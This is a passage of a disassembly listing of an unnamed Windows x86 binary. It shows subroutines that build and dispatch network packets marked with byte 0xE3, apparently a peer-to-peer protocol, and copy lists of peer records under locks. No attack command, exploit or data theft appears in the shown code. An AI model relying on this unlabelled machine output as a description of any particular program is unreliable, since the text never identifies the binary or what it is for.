		pop	edi
		pop	esi
		mov	al, bl
		pop	ebx
		leave
		retn	1Ch
sub_40A6EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A791	proc near		; CODE XREF: sub_40B8DC+3Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	edi, [ebx+2]
		push	edi
		mov	[ebp+var_4], ecx
		call	sub_40D0BB
		mov	esi, eax
		push	ebx
		push	[ebp+arg_8]
		lea	eax, [esi+2]
		mov	byte ptr [esi],	0E3h
		push	eax
		mov	byte ptr [esi+1], 13h
		call	sub_40CCF7
		mov	ecx, [ebp+var_4]
		add	esp, 10h
		push	edi
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40A4E8
		push	esi
		mov	bl, al
		call	sub_40D0B6
		pop	ecx
		pop	edi
		pop	esi
		mov	al, bl
		pop	ebx
		leave
		retn	10h
sub_40A791	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7E2	proc near		; CODE XREF: sub_40AEE0+53p
					; sub_40B8DC+D4p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	bl, bl
		cmp	[ebp+arg_4], 4
		push	edi
		mov	edi, ecx
		jl	short loc_40A82F
		mov	eax, [ebp+arg_0]
		add	eax, 2
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40970B
		movzx	eax, ax
		pop	ecx
		mov	ecx, eax
		imul	ecx, 17h
		add	ecx, 4
		cmp	ecx, [ebp+arg_4]
		jnz	short loc_40A82F
		test	eax, eax
		jle	short loc_40A82D
		push	esi
		mov	esi, eax


loc_40A81B:				; CODE XREF: sub_40A7E2+48j
		push	[ebp+arg_0]
		mov	ecx, edi
		call	sub_40A582
		add	[ebp+arg_0], 17h
		dec	esi
		jnz	short loc_40A81B
		pop	esi


loc_40A82D:				; CODE XREF: sub_40A7E2+34j
		mov	bl, 1


loc_40A82F:				; CODE XREF: sub_40A7E2+Dj
					; sub_40A7E2+30j
		pop	edi
		mov	al, bl
		pop	ebx
		pop	ebp
		retn	8
sub_40A7E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A837	proc near		; CODE XREF: sub_40AEE0+45p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_C], 19h
		push	esi
		mov	esi, ecx
		jz	short loc_40A847
		xor	al, al
		jmp	short loc_40A874
; ---------------------------------------------------------------------------


loc_40A847:				; CODE XREF: sub_40A837+Aj
		push	ebx
		push	2
		lea	eax, [ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		mov	byte ptr [ebp+arg_C], 0E3h
		push	[ebp+arg_0]
		mov	byte ptr [ebp+arg_C+1],	0Dh
		call	sub_40A4E8
		mov	bl, al
		mov	eax, [ebp+arg_8]
		add	eax, 2
		push	eax
		mov	ecx, esi
		call	sub_40A582
		mov	al, bl
		pop	ebx


loc_40A874:				; CODE XREF: sub_40A837+Ej
		pop	esi
		pop	ebp
		retn	10h
sub_40A837	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A879	proc near		; CODE XREF: sub_40AEE0+31p
					; sub_40B8DC+C7p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	esi, ecx
		lea	edi, [esi+30h]
		push	edi
		call	ds:dword_4180DC
		push	[esp+8+arg_4]
		lea	ecx, [esi+28h]
		push	[esp+0Ch+arg_0]
		call	sub_40A35D
		test	eax, eax
		jz	short loc_40A8A3
		mov	byte ptr [eax+1Ch], 0
		mov	byte ptr [eax+1Dh], 1


loc_40A8A3:				; CODE XREF: sub_40A879+20j
		push	ebx
		mov	ebx, [esi+2Ch]
		push	edi
		call	ds:dword_4180E0
		add	ebx, 66h
		cmp	ebx, 400h
		pop	ebx
		jge	short loc_40A8CD
		push	[esp+8+arg_4]
		mov	ecx, esi
		push	[esp+0Ch+arg_0]
		call	sub_40A627
		mov	al, 1
		jmp	short loc_40A8CF
; ---------------------------------------------------------------------------


loc_40A8CD:				; CODE XREF: sub_40A879+3Fj
		xor	al, al


loc_40A8CF:				; CODE XREF: sub_40A879+52j
		pop	edi
		pop	esi
		retn	8
sub_40A879	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A8D4	proc near		; CODE XREF: sub_40AEE0+9Ep

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		lea	eax, [ebp+var_1A]
		mov	esi, ecx
		mov	[ebp+var_4], eax
		lea	eax, [esi+18h]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	[ebp+var_1C], 0E3h
		mov	[ebp+var_1B], 15h
		call	sub_4097FB
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, esi
		call	sub_40A4A4
		push	18h
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_4]
		mov	ecx, esi
		push	[ebp+arg_0]
		call	sub_40A4E8
		pop	esi
		leave
		retn	10h
sub_40A8D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A91D	proc near		; CODE XREF: sub_40AEE0+AFp

var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= byte ptr -0Ah
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_8]
		add	eax, 2
		push	ebx
		mov	[ebp+var_4], eax
		push	esi
		lea	eax, [ebp+var_4]
		push	eax
		mov	esi, ecx
		call	sub_40970B
		cmp	[ebp+arg_0], 0
		pop	ecx
		movzx	ebx, ax
		mov	byte ptr [ebp+arg_8+3],	0
		jz	short loc_40A997
		test	bx, bx
		jz	short loc_40A997
		push	edi
		push	[ebp+arg_0]
		xor	eax, eax
		mov	[ebp+var_C], 0E3h
		mov	[ebp+var_B], 1Ch
		lea	edi, [ebp+var_A]
		stosd
		lea	eax, [ebp+var_A]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_4097C7
		pop	ecx
		pop	ecx
		push	6
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+arg_4]
		mov	ecx, esi
		push	[ebp+arg_0]
		call	sub_40A4E8
		movzx	ecx, bx
		push	ecx
		push	[ebp+arg_4]
		mov	byte ptr [ebp+arg_8+3],	al
		push	[ebp+arg_0]
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+4]
		pop	edi


loc_40A997:				; CODE XREF: sub_40A91D+28j
					; sub_40A91D+2Dj
		mov	al, byte ptr [ebp+arg_8+3]
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_40A91D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A9A0	proc near		; CODE XREF: sub_40AEE0+C0p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_C]
		add	eax, 0FFFFFFDEh
		cmp	eax, 1DEh
		push	ebx
		mov	ebx, ecx
		ja	short loc_40AA13
		push	esi
		push	edi
		push	12h
		call	sub_40D0BB
		mov	edi, [ebp+arg_8]
		mov	esi, eax
		mov	[ebp+var_4], esi
		mov	byte ptr [esi],	0E3h
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	14h
		inc	[ebp+var_4]
		add	edi, 2
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_4097FB
		add	esp, 0Ch
		push	12h
		push	esi
		push	[ebp+arg_4]
		mov	ecx, ebx
		push	[ebp+arg_0]
		call	sub_40A4E8
		mov	eax, [ebp+arg_C]
		add	eax, 0FFFFFFFEh
		push	eax
		push	edi
		lea	ecx, [ebx+48h]
		call	sub_409CF6
		push	esi
		mov	bl, al
		call	sub_40D0B6
		pop	ecx
		pop	edi
		mov	al, bl
		pop	esi
		jmp	short loc_40AA15
; ---------------------------------------------------------------------------


loc_40AA13:				; CODE XREF: sub_40A9A0+12j
		xor	al, al


loc_40AA15:				; CODE XREF: sub_40A9A0+71j
		pop	ebx
		leave
		retn	10h
sub_40A9A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA1A	proc near		; CODE XREF: sub_40BD87+1EAp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		mov	esi, [ebx]
		test	esi, esi
		mov	[ebp+var_4], ecx
		jz	short loc_40AA71
		push	edi


loc_40AA2D:				; CODE XREF: sub_40AA1A+54j
		mov	edi, [esi]
		push	dword ptr [edi+14h]
		mov	ecx, [ebp+var_4]
		push	dword ptr [edi+10h]
		push	edi
		call	sub_40A53E
		cmp	[ebp+arg_4], 0
		jz	short loc_40AA61
		mov	ecx, edi
		call	nullsub_1
		push	edi
		call	sub_40D0B6
		mov	edi, [esi+4]
		pop	ecx
		push	esi
		mov	ecx, ebx
		call	sub_4041B2
		mov	esi, edi
		jmp	short loc_40AA6C
; ---------------------------------------------------------------------------


loc_40AA61:				; CODE XREF: sub_40AA1A+28j
		test	esi, esi
		jz	short loc_40AA70
		mov	esi, [esi+4]
		test	esi, esi
		jz	short loc_40AA70


loc_40AA6C:				; CODE XREF: sub_40AA1A+45j
		test	esi, esi
		jnz	short loc_40AA2D


loc_40AA70:				; CODE XREF: sub_40AA1A+49j
					; sub_40AA1A+50j
		pop	edi


loc_40AA71:				; CODE XREF: sub_40AA1A+10j
		pop	esi
		pop	ebx
		leave
		retn	8
sub_40AA1A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=68h


sub_40AA77	proc near		; CODE XREF: sub_40AEE0+64p

var_90		= dword	ptr -90h
var_40		= byte ptr -40h
var_30		= byte ptr -30h
var_20		= byte ptr -20h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		lea	ebp, [esp-68h]
		sub	esp, 90h
		cmp	[ebp+68h+arg_C], 19h
		push	ebx
		mov	ebx, ecx
		jz	short loc_40AA92
		xor	al, al
		jmp	loc_40AC20
; ---------------------------------------------------------------------------


loc_40AA92:				; CODE XREF: sub_40AA77+12j
		mov	eax, [ebp+68h+arg_8]
		push	esi
		add	eax, 2
		push	edi
		push	eax
		mov	[ebp+68h+var_C], eax
		lea	eax, [ebx+18h]
		push	eax
		lea	eax, [ebp+68h+var_30]
		push	eax
		call	sub_409EED
		lea	eax, [ebp+68h+var_30]
		push	eax
		lea	eax, [ebp+68h+var_40]
		push	eax
		call	sub_409E90
		and	[ebp+68h+arg_8], 0
		lea	eax, [ebx+30h]
		add	esp, 14h
		push	eax
		mov	[ebp+68h+var_10], eax
		call	ds:dword_4180DC
		mov	edi, [ebx+28h]
		jmp	short loc_40AB4A
; ---------------------------------------------------------------------------


loc_40AAD1:				; CODE XREF: sub_40AA77+D5j
		mov	esi, [edi]
		cmp	byte ptr [esi+1Dh], 0
		jz	short loc_40AB43
		mov	eax, [ebp+68h+arg_0]
		cmp	eax, [esi+10h]
		jnz	short loc_40AAE9
		mov	eax, [ebp+68h+arg_4]
		cmp	eax, [esi+14h]
		jz	short loc_40AB43


loc_40AAE9:				; CODE XREF: sub_40AA77+68j
		push	[ebp+68h+var_C]
		lea	eax, [ebp+68h+var_20]
		push	esi
		push	eax
		call	sub_409EED
		lea	eax, [ebp+68h+var_40]
		push	eax
		lea	eax, [ebp+68h+var_20]
		push	eax
		call	sub_409EC5
		add	esp, 14h
		test	eax, eax
		lea	eax, [ebp+68h+var_20]
		push	eax
		jz	short loc_40AB13
		lea	eax, [ebp+68h+var_40]
		jmp	short loc_40AB29
; ---------------------------------------------------------------------------


loc_40AB13:				; CODE XREF: sub_40AA77+95j
		lea	eax, [ebp+68h+var_30]
		push	eax
		call	sub_409EC5
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40AB43
		lea	eax, [ebp+68h+var_20]
		push	eax
		lea	eax, [ebp+68h+var_30]


loc_40AB29:				; CODE XREF: sub_40AA77+9Aj
		push	eax
		call	sub_409E90
		movzx	eax, word ptr [ebp+68h+arg_8]
		inc	[ebp+68h+arg_8]
		cmp	word ptr [ebp+68h+arg_8], 14h
		pop	ecx
		mov	[ebp+eax*4+68h+var_90],	esi
		pop	ecx
		jz	short loc_40AB4E


loc_40AB43:				; CODE XREF: sub_40AA77+60j
					; sub_40AA77+70j ...
		test	edi, edi
		jz	short loc_40AB4E
		mov	edi, [edi+4]


loc_40AB4A:				; CODE XREF: sub_40AA77+58j
		test	edi, edi
		jnz	short loc_40AAD1


loc_40AB4E:				; CODE XREF: sub_40AA77+CAj
					; sub_40AA77+CEj
		cmp	word ptr [ebp+68h+arg_8], 0
		mov	byte ptr [ebp+68h+arg_C+3], 0
		jbe	loc_40AC08
		movzx	esi, word ptr [ebp+68h+arg_8]
		imul	esi, 17h
		add	esi, 4
		push	esi
		call	sub_40D0BB
		push	[ebp+68h+arg_8]
		mov	edi, eax
		mov	[ebp+68h+var_4], edi
		mov	byte ptr [edi],	0E3h
		inc	[ebp+68h+var_4]
		mov	eax, [ebp+68h+var_4]
		mov	byte ptr [eax],	0Bh
		inc	[ebp+68h+var_4]
		lea	eax, [ebp+68h+var_4]
		push	eax
		call	sub_409783
		add	esp, 0Ch
		cmp	word ptr [ebp+68h+arg_8], 0
		mov	byte ptr [ebp+68h+arg_C+3], 0
		jbe	short loc_40ABEF


loc_40AB9B:				; CODE XREF: sub_40AA77+176j
		movzx	eax, byte ptr [ebp+68h+arg_C+3]
		mov	eax, [ebp+eax*4+68h+var_90]
		push	eax
		mov	[ebp+68h+var_8], eax
		lea	eax, [ebp+68h+var_4]
		push	eax
		call	sub_4097FB
		mov	eax, [ebp+68h+var_8]
		push	dword ptr [eax+10h]
		lea	eax, [ebp+68h+var_4]
		push	eax
		call	sub_4097C7
		mov	eax, [ebp+68h+var_8]
		movzx	eax, word ptr [eax+14h]
		push	eax
		lea	eax, [ebp+68h+var_4]
		push	eax
		call	sub_409783
		mov	eax, [ebp+68h+var_8]
		mov	al, [eax+1Ch]
		mov	ecx, [ebp+68h+var_4]
		add	esp, 18h
		mov	[ecx], al
		inc	[ebp+68h+var_4]
		inc	byte ptr [ebp+68h+arg_C+3]
		movzx	ax, byte ptr [ebp+68h+arg_C+3]
		cmp	ax, word ptr [ebp+68h+arg_8]
		jb	short loc_40AB9B


loc_40ABEF:				; CODE XREF: sub_40AA77+122j
		push	esi
		push	edi
		push	[ebp+68h+arg_4]
		mov	ecx, ebx
		push	[ebp+68h+arg_0]
		call	sub_40A4E8
		push	edi
		mov	byte ptr [ebp+68h+arg_C+3], al
		call	sub_40D0B6
		pop	ecx


loc_40AC08:				; CODE XREF: sub_40AA77+E0j
		push	[ebp+68h+var_C]
		mov	ecx, ebx
		call	sub_40A582
		push	[ebp+68h+var_10]
		call	ds:dword_4180E0
		mov	al, byte ptr [ebp+68h+arg_C+3]
		pop	edi
		pop	esi


loc_40AC20:				; CODE XREF: sub_40AA77+16j
		pop	ebx
		add	ebp, 68h
		leave
		retn	10h
sub_40AA77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC28	proc near		; CODE XREF: sub_40AEE0+75p

var_64		= dword	ptr -64h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		cmp	[ebp+arg_C], 13h
		push	esi
		mov	esi, ecx
		mov	[ebp+var_8], esi
		jz	short loc_40AC41
		xor	al, al
		jmp	loc_40AD6F
; ---------------------------------------------------------------------------


loc_40AC41:				; CODE XREF: sub_40AC28+10j
		push	ebx
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [esi+30h]
		xor	ebx, ebx
		add	edi, 3
		push	eax
		mov	byte ptr [ebp+arg_C+3],	0
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], ebx
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], eax
		call	ds:dword_4180DC
		push	ebx
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		lea	eax, [esi+18h]
		push	eax
		lea	ecx, [esi+28h]
		call	sub_40A1D1
		test	al, al
		jz	loc_40AD61
		mov	ecx, [ebp+var_14]
		jmp	short loc_40ACA7
; ---------------------------------------------------------------------------


loc_40AC84:				; CODE XREF: sub_40AC28+81j
		mov	eax, [ecx]
		mov	edx, [ebp+arg_0]
		cmp	edx, [eax+10h]
		jnz	short loc_40AC96
		mov	edx, [ebp+arg_4]
		cmp	edx, [eax+14h]
		jz	short loc_40ACA0


loc_40AC96:				; CODE XREF: sub_40AC28+64j
		mov	[ebp+ebx*4+var_64], eax
		inc	ebx
		cmp	ebx, 14h
		jz	short loc_40ACAB


loc_40ACA0:				; CODE XREF: sub_40AC28+6Cj
		test	ecx, ecx
		jz	short loc_40ACAB
		mov	ecx, [ecx+4]


loc_40ACA7:				; CODE XREF: sub_40AC28+5Aj
		test	ecx, ecx
		jnz	short loc_40AC84


loc_40ACAB:				; CODE XREF: sub_40AC28+76j
					; sub_40AC28+7Aj
		push	0
		lea	ecx, [ebp+var_14]
		call	sub_40A12A
		mov	esi, ebx
		imul	esi, 17h
		add	esi, 13h
		push	esi
		call	sub_40D0BB
		push	[ebp+var_4]
		mov	edi, eax
		mov	[ebp+arg_8], edi
		mov	byte ptr [edi],	0E3h
		inc	[ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	byte ptr [eax],	0Fh
		inc	[ebp+arg_8]
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_4097FB
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		mov	[eax], bl
		inc	[ebp+arg_8]
		test	ebx, ebx
		mov	byte ptr [ebp+arg_C+3],	0
		jbe	short loc_40AD47


loc_40ACF6:				; CODE XREF: sub_40AC28+11Dj
		movzx	eax, byte ptr [ebp+arg_C+3]
		mov	eax, [ebp+eax*4+var_64]
		push	eax
		mov	[ebp+var_4], eax
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_4097FB
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+10h]
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_4097C7
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax+14h]
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_409783
		mov	eax, [ebp+var_4]
		mov	al, [eax+1Ch]
		mov	ecx, [ebp+arg_8]
		add	esp, 18h
		mov	[ecx], al
		inc	[ebp+arg_8]
		inc	byte ptr [ebp+arg_C+3]
		movzx	eax, byte ptr [ebp+arg_C+3]
		cmp	eax, ebx
		jb	short loc_40ACF6


loc_40AD47:				; CODE XREF: sub_40AC28+CCj
		mov	ecx, [ebp+var_8]
		push	esi
		push	edi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40A4E8
		push	edi
		mov	byte ptr [ebp+arg_C+3],	al
		call	sub_40D0B6
		pop	ecx


loc_40AD61:				; CODE XREF: sub_40AC28+51j
		push	[ebp+var_C]
		call	ds:dword_4180E0
		mov	al, byte ptr [ebp+arg_C+3]
		pop	edi
		pop	ebx


loc_40AD6F:				; CODE XREF: sub_40AC28+14j
		pop	esi
		leave
		retn	10h
sub_40AC28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AD74	proc near		; CODE XREF: sub_40AEE0+D1p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		cmp	[ebp+arg_C], 17h
		push	edi
		mov	edi, ecx
		mov	[ebp+var_C], edi
		jz	short loc_40AD8D
		xor	al, al
		jmp	loc_40AEDB
; ---------------------------------------------------------------------------


loc_40AD8D:				; CODE XREF: sub_40AD74+10j
		and	[ebp+var_10], 0
		push	esi
		mov	esi, [ebp+arg_8]
		cmp	byte ptr [esi+12h], 0
		jnz	short loc_40ADBB
		lea	eax, [esi+13h]
		mov	[ebp+arg_C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		call	sub_40970B
		lea	eax, [ebp+arg_C]
		push	eax
		call	sub_40970B
		movzx	eax, ax
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], eax


loc_40ADBB:				; CODE XREF: sub_40AD74+25j
		and	[ebp+var_4], 0
		lea	eax, [edi+50h]
		add	esi, 2
		push	eax
		mov	[ebp+var_14], esi
		mov	byte ptr [ebp+arg_C+3],	0
		call	ds:dword_4180DC
		mov	esi, [edi+48h]
		test	esi, esi
		mov	[ebp+var_8], esi
		jz	loc_40AE76
		push	ebx
		jmp	short loc_40ADE7
; ---------------------------------------------------------------------------


loc_40ADE4:				; CODE XREF: sub_40AD74+EFj
		mov	esi, [ebp+var_8]


loc_40ADE7:				; CODE XREF: sub_40AD74+6Ej
		test	esi, esi
		jz	short loc_40ADEF
		mov	ebx, [esi]
		jmp	short loc_40ADF1
; ---------------------------------------------------------------------------


loc_40ADEF:				; CODE XREF: sub_40AD74+75j
		xor	ebx, ebx


loc_40ADF1:				; CODE XREF: sub_40AD74+79j
		push	dword ptr [ebx+8]
		push	[ebp+var_14]
		call	sub_409EAD
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40AE57
		mov	esi, [ebx+4]
		inc	esi
		inc	esi
		push	esi
		call	sub_40D0BB
		mov	edi, eax
		mov	byte ptr [edi],	0E3h
		mov	byte ptr [edi+1], 11h
		push	dword ptr [ebx+4]
		lea	eax, [edi+2]
		push	dword ptr [ebx+8]
		push	eax
		call	sub_40CCF7
		mov	ecx, [ebp+var_C]
		add	esp, 10h
		push	esi
		push	edi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40A4E8
		inc	[ebp+var_4]
		mov	byte ptr [ebp+arg_C+3],	al
		mov	eax, [ebp+var_10]
		test	eax, eax
		jle	short loc_40AE4A
		cmp	[ebp+var_4], eax
		jz	short loc_40AE6B


loc_40AE4A:				; CODE XREF: sub_40AD74+CFj
		push	edi
		call	sub_40D0B6
		mov	edi, [ebp+var_C]
		mov	esi, [ebp+var_8]
		pop	ecx


loc_40AE57:				; CODE XREF: sub_40AD74+8Cj
		test	esi, esi
		jz	short loc_40AE75
		mov	esi, [esi+4]
		test	esi, esi
		mov	[ebp+var_8], esi
		jnz	loc_40ADE4
		jmp	short loc_40AE75
; ---------------------------------------------------------------------------


loc_40AE6B:				; CODE XREF: sub_40AD74+D4j
		push	edi
		call	sub_40D0B6
		mov	edi, [ebp+var_C]
		pop	ecx


loc_40AE75:				; CODE XREF: sub_40AD74+E5j
					; sub_40AD74+F5j
		pop	ebx


loc_40AE76:				; CODE XREF: sub_40AD74+67j
		lea	eax, [edi+50h]
		push	eax
		call	ds:dword_4180E0
		push	16h
		call	sub_40D0BB
		push	[ebp+var_14]
		mov	esi, eax
		mov	[ebp+arg_8], esi
		mov	byte ptr [esi],	0E3h
		inc	[ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	byte ptr [eax],	12h
		inc	[ebp+arg_8]
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_4097FB
		lea	eax, [ebp+arg_8]
		push	0
		push	eax
		call	sub_409783
		lea	eax, [ebp+arg_8]
		push	0
		push	eax
		call	sub_409783
		add	esp, 1Ch
		push	16h
		push	esi
		push	[ebp+arg_4]
		mov	ecx, edi
		push	[ebp+arg_0]
		call	sub_40A4E8
		push	esi
		call	sub_40D0B6
		mov	al, byte ptr [ebp+arg_C+3]
		pop	ecx
		pop	esi


loc_40AEDB:				; CODE XREF: sub_40AD74+14j
		pop	edi
		leave
		retn	10h
sub_40AD74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AEE0	proc near		; CODE XREF: sub_40B7CD+7Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_8]
		cmp	byte ptr [eax],	0E3h
		jz	short loc_40AEF2


loc_40AEEB:				; CODE XREF: sub_40AEE0+29j
					; sub_40AEE0+8Ej
		xor	al, al
		jmp	loc_40AFB6
; ---------------------------------------------------------------------------


loc_40AEF2:				; CODE XREF: sub_40AEE0+9j
		movzx	edx, byte ptr [eax+1]
		cmp	edx, 0Eh
		jg	short loc_40AF5C
		jz	short loc_40AF4B
		sub	edx, 0Ah
		jz	short loc_40AF3A
		dec	edx
		jz	short loc_40AF2F
		dec	edx
		jz	short loc_40AF1B
		dec	edx
		jnz	short loc_40AEEB
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40A879
		jmp	loc_40AFB6
; ---------------------------------------------------------------------------


loc_40AF1B:				; CODE XREF: sub_40AEE0+26j
		push	[ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40A837
		jmp	loc_40AFB6
; ---------------------------------------------------------------------------


loc_40AF2F:				; CODE XREF: sub_40AEE0+23j
		push	[ebp+arg_C]
		push	eax
		call	sub_40A7E2
		jmp	short loc_40AFB6
; ---------------------------------------------------------------------------


loc_40AF3A:				; CODE XREF: sub_40AEE0+20j
		push	[ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40AA77
		jmp	short loc_40AFB6
; ---------------------------------------------------------------------------


loc_40AF4B:				; CODE XREF: sub_40AEE0+1Bj
		push	[ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40AC28
		jmp	short loc_40AFB6
; ---------------------------------------------------------------------------


loc_40AF5C:				; CODE XREF: sub_40AEE0+19j
		cmp	edx, 10h
		jz	short loc_40AFA7
		cmp	edx, 13h
		jz	short loc_40AF96
		cmp	edx, 1Bh
		jz	short loc_40AF85
		cmp	edx, 1Eh
		jnz	loc_40AEEB
		push	[ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40A8D4
		jmp	short loc_40AFB6
; ---------------------------------------------------------------------------


loc_40AF85:				; CODE XREF: sub_40AEE0+89j
		push	[ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40A91D
		jmp	short loc_40AFB6
; ---------------------------------------------------------------------------


loc_40AF96:				; CODE XREF: sub_40AEE0+84j
		push	[ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40A9A0
		jmp	short loc_40AFB6
; ---------------------------------------------------------------------------


loc_40AFA7:				; CODE XREF: sub_40AEE0+7Fj
		push	[ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40AD74


loc_40AFB6:				; CODE XREF: sub_40AEE0+Dj
					; sub_40AEE0+36j ...
		pop	ebp
		retn	10h
sub_40AEE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AFBA	proc near		; DATA XREF: .rdata:off_41C128o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41C128
		call	sub_40DA75
		test	[esp+4+arg_0], 1
		jz	short loc_40AFD6
		push	esi
		call	sub_40D0B6
		pop	ecx


loc_40AFD6:				; CODE XREF: sub_40AFBA+13j
		mov	eax, esi
		pop	esi
		retn	4
sub_40AFBA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AFDC	proc near		; CODE XREF: sub_40B199+19p

arg_0		= dword	ptr  4

		push	esi
		push	0
		push	7FFFFFFFh
		push	[esp+0Ch+arg_0]
		mov	esi, ecx
		push	0
		call	ds:dword_418060
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		retn	4
sub_40AFDC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AFFA	proc near		; CODE XREF: sub_40B016+BFp
					; sub_40B232+21p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_40B013


loc_40B002:				; CODE XREF: sub_40AFFA+17j
		mov	eax, [esp+arg_0]
		add	eax, ecx
		mov	dl, [eax]
		inc	ecx
		cmp	ecx, [esp+arg_4]
		mov	[eax], dl
		jl	short loc_40B002

